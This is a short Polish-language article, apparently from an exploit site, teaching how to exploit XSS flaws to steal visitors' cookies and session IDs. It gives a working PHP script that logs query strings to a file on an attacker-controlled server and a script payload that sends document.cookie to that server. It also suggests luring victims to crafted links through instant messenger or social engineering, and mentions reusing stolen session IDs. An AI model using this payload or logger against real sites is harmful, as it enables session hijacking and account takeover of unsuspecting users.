Top
Ataki XSS
Wiele osób pyta się jak można wykorzystać ataki XSS. Kod javascript wykonujący sie w przeglądarce osoby oglądającej stronę teoretycznie nie stanowi zagrożenia - może tylko uczynić stronę nieczytelną. W praktyce jednak wykorzystując ten rodzaj błędów jesteśmy w stanie wykraść dane zapisane w cookies na komputerze osoby otwierającej stronę. Co może znajdować się w ciasteczkach nie trzeba chyba tłumaczyć: mogą to być zapisane hashe haseł umożliwiające zalogowanie, bierzące session id użytkownika w wielu przypadkach również umożliwiające dostęp do konta czy też inne ciekawe dane.
Błędy XSS możemy podzielić na dwa rodzaje:
- kiedy podany przez nas skrypt zostaje zachowany np. w bazie danych i jest wyświetlany osobom odwiedzającym stronę
- kiedy skrypt pojawia się tylko po podaniu jego treści z paska adresu.
W pierwszym przypadku wystarczy przygotować skrypt i czekać na gromadzące się samemu dane. W drugim przypadku ofiara musi kliknąc na przygotowany przez nas odnośnik. Tutaj trzeba skorzystać z innych sposobów, takich jak np. podanie go przez gg czy też social engineering (socjotechnika).
atak
W ogólnym przypadku atak wygląda w ten sposób, że skrypt javascript uruchamiany w przeglądarce użytkownika wysyła cookies do przygotowanego przez nas skryptu (php,cgi) na serwerze. Załóżmy, że mamy do dyspozycji konto na serzwrze www.nasz.pl. Na serwerze tym umieszczamy skrypt php, którego zadaniem będzie przechwycenie danych przekazanych w adresie URL:
<?php
$plik = fopen ("plik.txt", "a");
fwrite ($plik, $_SERVER["QUERY_STRING"]."\n");
fclose ($plik);
?>
Skrypt ten musi zostać wywołany w taki sposób:
http://www.nasz.pl/skrypt.php?<zawartosc cookies>
Na stronie zawierającej błąd XSS musimy użyć takiego skryptu:
<script>document.location='http://www.nasz.pl/skrypt.php?'%20+document.cookie</script>
W ten sposób dane zawarte w cookies zostaną zapisane w pliku 'plik.txt'. Teraz trzeba je jeszcze wyciągnąć i umiejętnie wykorzystać (użyć session id, spreparować cookies itd.) ale to już temat na inny artykuł.
last remote
last local
last web apps
